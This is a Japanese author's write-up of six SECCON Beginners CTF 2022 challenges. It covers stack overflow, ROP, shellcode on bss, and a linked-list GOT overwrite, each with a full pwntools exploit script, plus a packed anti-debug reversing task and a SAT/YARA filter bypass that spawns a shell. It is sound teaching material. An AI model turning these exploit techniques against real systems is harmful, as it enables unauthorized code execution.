SECCON Beginners CTF 2022 作問者Writeup
問題一覧
私が作問したのは以下の6問です.去年より少ないですが許してください.
Writeup
Pwn
BeginnersBof
155 solves / 84 pt
問題文
Pwnってこういうのだけじゃないらしいですが,多分これだけでもできればすごいと思います.
作問にあたって
問題文に書いた通りです.
世の中こういうシンプルな問題だけじゃないんですが,まぁ他のCTFでもPwnの一番簡単な問題として出る最低ラインはここらへんだと思ったので出しました.
writeup
サイズが0x10
でスタックに確保しているバッファに対して,指定した任意のサイズでの読み込みを行っています.
canaryも無く,PIEも無いのでwin
に飛ばせば勝ちです.
#!/usr/bin/env python3
from pwn import *
import os
HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '9000'))
context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
context.binary = binfile
io = remote(HOST, PORT)
pad = b'a' * 0x28
payload = pad + pack(e.sym['win'])
io.sendlineafter(b'name?', str(100).encode())
io.sendlineafter(b'name?', payload)
io.recvuntil(b'ctf4b')
print('ctf4b' + io.readline().decode(), end='')
直前になって気付いたんですが,リモートだと1回目のサイズをpayloadの長さピッタリにしたりするとコケます.
ここら辺の調整が甘かったのをマジで反省しています.許してください.
raindrop
53 solves / 134 pt
問題文
おぼえていますか?
作問にあたって
去年のBeginners ROP
はbeginner
問からの難易度の乖離が大きかった気がしたので,その手前くらいの難易度感で作りました.
writeup
普通にROP gadget組むだけです.
puts("finish");
の"finish"
にsh\0
があるので,system
の引数に渡すようにします.
#!/usr/bin/env python3
from pwn import *
import os
HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '9001'))
context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
context.binary = binfile
io = remote(HOST, PORT)
pad = b'a' * 0x18
rop = ROP(e)
rop.raw(rop.find_gadget(['pop rdi', 'ret'])) # pop rax; ret
rop.raw(pack(next(e.search(b'sh\0'))))
rop.raw(pack(e.sym['help']+0xf)) # system()
payload = pad + rop.chain()
assert(len(payload) <= 0x30)
io.sendlineafter(b'?', payload)
io.sendline(b'echo exploited')
io.sendlineafter(b'exploited\n', b'cat flag.txt')
print(io.readline().decode('utf-8', 'ignore'), end='')
snowdrop
44 solves / 144 pt
問題文
これでもうあの危険なone gadgetは使わせないよ!
作問にあたって
one gadget無しのROPで遊んで欲しくて作りました.
writeup
static linkされているので,one gadgetは使えませんが,ROP gadget自体は豊富です.
色々な解き方があると思いますが,とりあえず一番簡単そうなのはbss
にシェルコード置いて飛ばす奴です.
#!/usr/bin/env python3
from pwn import *
import os
HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '9002'))
context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
context.binary = binfile
bss = e.bss() + 0x800
io = remote(HOST, PORT)
pad = b'a' * 0x18
rop = ROP(e)
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(p64(bss))
rop.raw(p64(e.sym['gets']))
rop.raw(rop.find_gadget(['ret']))
rop.raw(p64(bss))
payload = pad + rop.chain()
io.sendlineafter(b'?', payload)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.sendline(b'echo exploited')
io.sendlineafter(b'exploited\n', b'cat flag.txt')
print(io.readline().decode('utf-8', 'ignore'), end='')
simplelist
32 solves / 166 pt
問題文
C言語でリストを実装してみました
難しかったので、伝家の宝刀†printデバッグ†を使いました。
作問にあたって
malloc/free
が使われてるのを見て,「うわHeapじゃん.辞めとこ」みたいなアレルギーを無くしてほしくて作りました.
あとはglibc heapのexploitをする前に普通のlinked listに対する攻撃手法みたいなのを理解して欲しかったです.
問題で扱う領域がstackからheapに切り替わった時のsolve数の落差を減らしたいという目的は,去年と比べるとある程度達成できた気がしています.
writeup
BOFでlinked listのnext
要素を書き換える事で,任意アドレスへの読み書きができるので,libcをリークし,RELROも無いのでGOT overwriteをします.
#!/usr/bin/env python3
from pwn import *
import os
HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '9003'))
context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
libc = ELF('./libc-2.33.so')
context.binary = binfile
one_gadgets = [0xde78c, 0xde78f, 0xde792]
io = remote(HOST, PORT)
def create(content: bytes):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'Content: ', content)
def edit(index: int, content: bytes) -> bytes:
io.sendlineafter(b'>', b'2')
io.sendlineafter(b'index: ', str(index).encode())
io.recvuntil(b'Old content: ')
old = io.readline().strip()
io.sendlineafter(b'New content: ', content)
return old
next_offset = 0x28
pad = b'a' * next_offset
create(b'hoge')
create(b'fuga')
# overwrite next->content by got['puts']
payload = pad + pack(e.got['puts'] - 8)
edit(0, payload)
# libc leak
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'index: ', b'2')
io.recvuntil(b'Old content: ')
libc_base = unpack(io.readline().ljust(8, b'\0')) - libc.sym['puts']
# overwrite got['puts'] by one_gadget
io.sendlineafter(b'New content: ', p64(libc_base + one_gadgets[1]))
io.sendline(b'echo exploited')
io.recvuntil(b'exploited')
io.sendline(b'cat flag.txt')
io.readline()
print(io.readline().decode(), end='')
Reversing
please_not_debug_me
48 solves / 138 pt
問題文
バグも無いのにデバッグしないでください!!!
作問にあたって
実は最初Pwnだけ作るつもりだったんですが,足りなそうだったのと読むだけ問ばかりだったという事で前日に作りました.(これも読むだけかもしれないけど)
Mediumのつもりだったのを無理やりpackっぽい事してHardにしたりしているので,結構荒いと思います.許してください.
一応0から作ったんですが,結局中身は去年の奴と解き方もほぼ被っちゃってるんですよね.マジでごめんなさい.
writeup
去年のplease_not_debug_meとの違いは
- RC4のバグが治っている
- packっぽい処理がされている
- breakpointの検知が追加されている
くらいです.これを踏まえるとRansomの方が難しいんじゃないかとすら思えるんですが,どうですか?
解く流れとしては
- unpackする
- patch当てる
- gdbでRC4のKeyを抽出
- バイナリに含まれる比較対象の暗号文をKeyで復号
みたいな感じだと思っていましたが,packerを雑に実装したので,unpackせずにdebugした人もいるっぽいですね.
packするまではbreakpoint検知の追加とRC4実装の修正だけだったんですが,なんかあんまり意味ない気がしたので,難易度を上げずに一段階追加するつもりがhard判定されました.RC4改変する案も出てたんですが,直前だったのでそのままです.
pack処理は非常に簡単で,対象のバイナリをxxd -i
してPythonでシュッとxorしてから#include
で埋め込んでいます.クソコードでごめんなさい
pack: victim
xxd -i victim > tmp.h
python3 -c "print('unsigned char binary[] = ' + str([int(x, 16) ^ 22 for x in ''.join(open('tmp.h', 'r').read().split(';')[0].replace('}', '').replace('unsigned char victim[] = {','').split('\n')).split(',')]).replace('[','{').replace(']','}') + ';\nunsigned int binary_len = 16800;\n')" >> enc_bin.h
rm tmp.h
gcc -Wall -Wextra pack.c -o please_not_debug_me
main
を読んでみると
ulong main(ulong argc, ulong argv)
{
int32_t iVar1;
ulong uVar2;
int64_t in_FS_OFFSET;
ulong var_30h;
ulong var_24h;
uint32_t var_18h;
ulong fd;
int64_t canary;
canary = *(in_FS_OFFSET + 0x28);
fd._0_4_ = sym.imp.syscall(0x13f, 0x2004, 0);
if (fd == -1) {
sym.imp.err(1, "Can\'t unpack");
}
for (var_18h = 0; var_18h < _obj.binary_len; var_18h = var_18h + 1) {
str.iSZP[var_18h] = str.iSZP[var_18h] ^ 0x16;
}
sym.imp.write(fd, str.iSZP, _obj.binary_len);
stack0xffffffffffffffe8 = 0;
iVar1 = sym.imp.fexecve(fd, argv, &fd + 4);
if (iVar1 == -1) {
sym.imp.err(1, "Can\'t execute");
}
uVar2 = 0;
if (canary != *(in_FS_OFFSET + 0x28)) {
uVar2 = sym.imp.__stack_chk_fail();
}
return uVar2;
}
てな感じで埋め込まれたバイナリをxorしているのが自明にわかります.
次にやっている操作ですが,syscall(0x13f,
で作成したfdにwrite
してfexecve
しています.
0x13f
はmemfd_create
です.
というわけで上のソースのobj.iSZP
に当たる部分を抽出してxorしたり,syscall
を置き換えてmemfd_create
の時に適当なファイルを作るようにするなどの方法が思いつきます.
一番簡単な方法としては,「packerのバイナリ全体をxorしてbinwalkとddで抽出する」みたいなのがあると思います.
$ python3 -c "open('vic', 'wb').write(bytes([x ^ 22 for x in open('please_not_debug_me', 'rb').read()]))"
$ binwalk vic
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
12320 0x3020 ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
$ dd if=vic of=vic.bin bs=1 skip=12320
取り出したバイナリはanti debugが施されているので,ptrace検知っぽいinit
を適当にNOPで埋めたりします
[0x00001190]> pdg @sym.init
// WARNING: Variable defined which should be unmapped: var_4h
// WARNING: Could not reconcile some variable overlaps
void entry.init1(void)
{
int64_t iVar1;
ulong var_4h;
var_4h._0_4_ = 0;
iVar1 = sym.imp.ptrace(0, 0, 1, 0);
if (iVar1 == 0) {
var_4h._0_4_ = 2;
}
iVar1 = sym.imp.ptrace(0, 0, 1, 0);
if (iVar1 == -1) {
var_4h._0_4_ = var_4h * 3;
}
if (var_4h != 6) {
sym.imp.fwrite("No bugs here so don\'t debug me!\n", 1, 0x20, _reloc.stderr);
// WARNING: Subroutine does not return
sym.imp.exit(1);
}
return;
}
$ r2 -w -c "wx 90909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090 @ 0x160b" vic.bin
これでgdbが使えます.
check
を見てみると,ごちゃごちゃとbreakpoint検知はしていますが,本質的にはKeyのデコードと引数で渡されたファイルの暗号化,埋め込まれた暗号文との比較を行っていることがわかります.
若干罠っぽいのは,ghidra(r2ghidra)を使うとパッと見RC4の引数にエンコードされたままのKeyが渡されているような出力になっている点ですかね.
do {
// switch table (6 cases) at 0x20b8
switch(var_a0h) {
case 0:
if ((*(*0x3fe8 + 8) & 0xff) == 0xcc) {
sym.imp.fwrite("Why are you trying to debug when there are no bugs?\n", 1, 0x34, _reloc.stderr);
// WARNING: Subroutine does not return
sym.imp.exit(1);
}
var_98h = fcn.000010e0(arg1, 0x20a2);
break;
case 1:
if (var_98h == 0) {
sym.imp.err(1, "fopen(\"%s\", \"r\")", arg1);
}
break;
case 2:
if ((*(*0x3fd0 + 8) & 0xff) == 0xcc) {
sym.imp.fwrite("Why are you trying to debug when there are no bugs?\n", 1, 0x34, _reloc.stderr);
// WARNING: Subroutine does not return
sym.imp.exit(1);
}
fcn.000010d0(&var_90h, 0x3f, var_98h);
break;
case 3:
for (var_a0h._4_4_ = 0; var_a0h._4_4_ < 0x28; var_a0h._4_4_ = var_a0h._4_4_ + 1) {
"b14be7`2i<hoj;mnq&#+#-!$,//xy$)/D\x11\x16E\x10\x10\x1fC"[var_a0h._4_4_] =
"b14be7`2i<hoj;mnq&#+#-!$,//xy$)/D\x11\x16E\x10\x10\x1fC"[var_a0h._4_4_] ^ var_a0h._4_4_;
}
break;
case 4:
if ((*0x14fa & 0xff) == 0xcc) {
sym.imp.fwrite("Why are you trying to debug when there are no bugs?\n", 1, 0x34, _reloc.stderr);
// WARNING: Subroutine does not return
sym.imp.exit(1);
}
sym.RC4("b14be7`2i<hoj;mnq&#+#-!$,//xy$)/D\x11\x16E\x10\x10\x1fC", &var_90h, &s2);
break;
case 5:
if ((*(*0x3fd8 + 8) & 0xff) == 0xcc) {
sym.imp.fwrite("Why are you trying to debug when there are no bugs?\n", 1, 0x34, _reloc.stderr);
// WARNING: Subroutine does not return
sym.imp.exit(1);
}
sym.imp.memcmp(obj.ENC, &s2, 0x3f);
if (var_8h != *(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
sym.imp.__stack_chk_fail();
}
return;
}
var_a0h._0_4_ = var_a0h + 1;
} while( true );
ただのxorなので自力でデコードしても良いんですが,せっかくなのでgdbを使います.
gdb-peda$ b RC4
Breakpoint 1 at 0x14fa
gdb-peda$ r dummy
Starting program: /home/lilium/ctf/please_not_debug_me/vic.bin dummy
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Why are you trying to debug when there are no bugs?
[Inferior 1 (process 159450) exited with code 01]
Warning: not running
gdb-peda$
RC4
にbreakpointを張ろうとするとこんな感じで怒られると思うので,呼び出す直前にしておきます
Guessed arguments:
arg[0]: 0x555555558020 ("b06aa2f5a5bdf6caa7187873465ce970d04f459d")
arg[1]: 0x7fffffffcd40 ("**dummy**\n")
arg[2]: 0x7fffffffcd80 --> 0x0
するとまぁこんな感じでKeyが取り出せるので,暗号化されたFlagをCyberchefでもなんでも使って復号するだけです.
う〜ん,Hardで合ってるかも.
Misc
今年もMiscは1問しか作れていません.
Misc作るの楽しいけど面白い問題思いつかない
ultra_super_miracle_validator
40 solves / 150 pt
問題文
C言語のソースコードをコンパイルして実行してくれるサービスを作りました!
危険なコードは実行させたくないので,天才的で複雑な充足可能性問題を用いたルールに基づいて弾いています!
作問にあたって
今年の難易度詐欺問題です.本当に反省しています.
SAT Solverの有用性に気付いて欲しかったです.
最初は充足可能性問題である事を問題文に明記していなかったんですが,筋力で解く人が出そうなので書きました.それでも筋力で解いた人はいるかも.凄い.
(スーパーウルトラハイパーミラクルにしようかと思ってたんですが,長すぎて削りました.それでも長くてごめんなさい.)
writeup
思考の流れとしては
- Pythonを読む(理解する)
- Yara ruleを読む(理解する)
- 問題文中の「充足可能性問題」を調べ,理解し,SAT Solverの存在を知る
- cnfを知る(理解する)
- conditionをcnfに変換しz3に投げる
- exploit!
みたいな感じになっているのに開催中に気付いて,「え,Step多くね? 絶対easyじゃないだろ」ってなりました.マジでごめんなさい.
1~4のステップは置いておいて,5〜6あたりを主に説明します.
rule.yara
のcondition
がnot ( ごちゃごちゃしたやつ )
になっているので,ごちゃごちゃした充足可能性問題を満たすようなバイナリを作れば良い事がわかります.
一応全探索はさせたくなくて変数を増やしたので,(少なくともそのままでは)全探索できないと思います.
前処理してから探索されたりDPLL実装されたりしたら手も足も出ないというか尊敬と謝罪をします.ルール作るのめんどくさ過ぎて適当にした俺が完全に悪いので.
想定解のSAT Solverを使うとして,必要になるconditionからDIMACS CNFに変換する奴を置いておきます.なんかsedしかパッと思いつかなかったのでsedです.
echo '(($x1 or $x6 or $x12 or not $x21 or $x32) and ($x3 or $x5 or not $x11 or $x24 or $x35) and (not $x3 or $x31 or $x40 or $x9 or $x27) and ($x4 or $x8 or $x10 or $x29 or $x40) and ($x4 or $x7 or $x11 or $x25 or not $x36) and ($x8 or $x14 or $x18 or $x21 or $x38) and ($x12 or $x15 or not $x20 or $x30 or $x35) and ($x19 or $x21 or not $x32 or $x33 or $x39) and ($x2 or $x37 or $x19 or not $x23) and (not $x5 or $x14 or $x23 or $x30) and (not $x5 or $x8 or $x18 or $x23) and ($x33 or $x22 or $x4 or $x38) and ($x2 or $x20 or $x39) and ($x3 or $x15 or not $x30) and ($x6 or not $x17 or $x30) and ($x8 or $x29 or not $x21) and (not $x16 or $x1 or $x29) and ($x20 or $x10 or not $x5) and (not $x13 or $x25) and ($x21 or $x28 or $x30) and not $x2 and $x3 and not $x7 and not $x10 and not $x11 and $x14 and not $x15 and not $x22 and $x26 and not $x27 and $x34 and $x36 and $x37 and not $x40)' | sed 's/ and /\n/g' | tr -d '(' | tr -d '\$x' | tr -d ')' | sed -e 's/or //g' | sed -e 's/not /-/g' | sed -e 's/$/ 0/g'```
まぁここは手動でも気合でいけます.
rule.cnf
c (x1 ∨ x6 ∨ x12 ∨ -x21 ∨ x32) ∧ (x3 ∨ x5 ∨ -x11 ∨ x24 ∨ x35) ∧ (-x3 ∨ x31 ∨ x40 ∨ x9 ∨ x27) ∧ (x4 ∨ x8 ∨ x10 ∨ x29 ∨ x40) ∧ (x4 ∨ x7 ∨ x11 ∨ x25 ∨ -x36) ∧ (x8 ∨ x14 ∨ x18 ∨ x21 ∨ x38) ∧ (x12 ∨ x15 ∨ -x20 ∨ x30 ∨ x35) ∧ (x19 ∨ x21 ∨ -x32 ∨ x33 ∨ x39) ∧ (x2 ∨ x37 ∨ x19 ∨ -x23) ∧ (-x5 ∨ x14 ∨ x23 ∨ x30) ∧ (-x5 ∨ x8 ∨ x18 ∨ x23) ∧ (x33 ∨ x22 ∨ x4 ∨ x38) ∧ (x2 ∨ x20 ∨ x39) ∧ (x3 ∨ x15 ∨ -x30) ∧ (x6 ∨ -x17 ∨ x30) ∧ (x8 ∨ x29 ∨ -x21) ∧ (-x16 ∨ x1 ∨ x29) ∧ (x20 ∨ x10 ∨ -x5) ∧ (x21 ∨ x28 ∨ x30) ∧ (-x13 ∨ x25) ∧ -x2 ∧ x3 ∧ -x7 ∧ -x10 ∧ -x11 ∧ x14 ∧ -x15 ∧ -x22 ∧ x26 ∧ -x27 ∧ x34 ∧ x36 ∧ x37 ∧ -x40
p cnf 40 34
1 6 12 -21 32 0
3 5 -11 24 35 0
-3 31 40 9 27 0
4 8 10 29 40 0
4 7 11 25 -36 0
8 14 18 21 38 0
12 15 -20 30 35 0
19 21 -32 33 39 0
2 37 19 -23 0
-5 14 23 30 0
-5 8 18 23 0
33 22 4 38 0
2 20 39 0
3 15 -30 0
6 -17 30 0
8 29 -21 0
-16 1 29 0
20 10 -5 0
21 28 30 0
-13 25 0
-2 0
3 0
-7 0
-10 0
-11 0
14 0
-15 0
-22 0
26 0
-27 0
34 0
36 0
37 0
-40 0
こんな感じにファイルに書き出して(c
の行はコメントなので不要です),z3に任せると秒で解いてくれます
sat
-1 -2 3 4 -5 -6 -7 8 9 -10 -11 12 -13 14 -15 -16 -17 -18 -19 20 21 -22 -23 -24 -25 26 -27 -28 -29 -30 -31 -32 -33 34 -35 36 37 -38 -39 -40
という事で,ここで-
(NOT)がついていない文字列を含むバイナリを生成させます.
#!/usr/bin/env python3
from pwn import *
import os
HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '5000'))
context.log_level = 'critical'
io = remote(HOST, PORT)
payload = 'int main(){puts("'
payload += '廃墟の街'
payload += 'イチジクのタルト'
payload += '天使'
payload += '紫陽花'
payload += '\\x83\\x4a\\x83\\x75\\x83\\x67\\x92\\x8e'
payload += '\\x83\\x43\\x83\\x60\\x83\\x57\\x83\\x4e\\x82\\xcc\\x83\\x5e\\x83\\x8b\\x83\\x67'
payload += '\\x94\\xe9\\x96\\xa7\\x82\\xcc\\x8d\\x63\\x92\\xe9'
payload += '\\x30\\x89\\x30\\x5b\\x30\\x93\\x96\\x8e\\x6b\\xb5'
payload += '\\x2b\\x4d\\x4b\\x51\\x2d\\x2b\\x4d\\x4d\\x45\\x2d\\x2b\\x4d\\x4c\\x67\\x2d\\x2b\\x4d\\x4b\\x38\\x2d\\x2b\\x4d\\x47\\x34\\x2d\\x2b\\x4d\\x4c\\x38\\x2d\\x2b\\x4d'
payload += '\\x72\\x79\\x75\\x70\\x70\\xb9'
payload += '\\x2b\\x63\\x6e\\x6b\\x2d\\x2b\\x64\\x58\\x41\\x2d\\x2b\\x63'
payload += '\\x2b\\x4d\\x4c\\x67\\x2d\\x2b\\x4d\\x4f\\x63\\x2d\\x2b\\x4d\\x4d\\x4d\\x2d\\x2b'
payload += '");system("sh");}'
io.sendlineafter(b'source:\n', payload.encode())
io.sendline(b'echo exploited')
io.sendlineafter(b'exploited', b'cat flag.txt')
io.readline()
print(io.readline().decode(), end='')
ルールに書いてあるstringsはジョジョ6部のアレをいろいろエンコードしてあります.
おわりに
かなりドタバタして各方面に迷惑を掛けてしまい,申し訳ないです.
Comments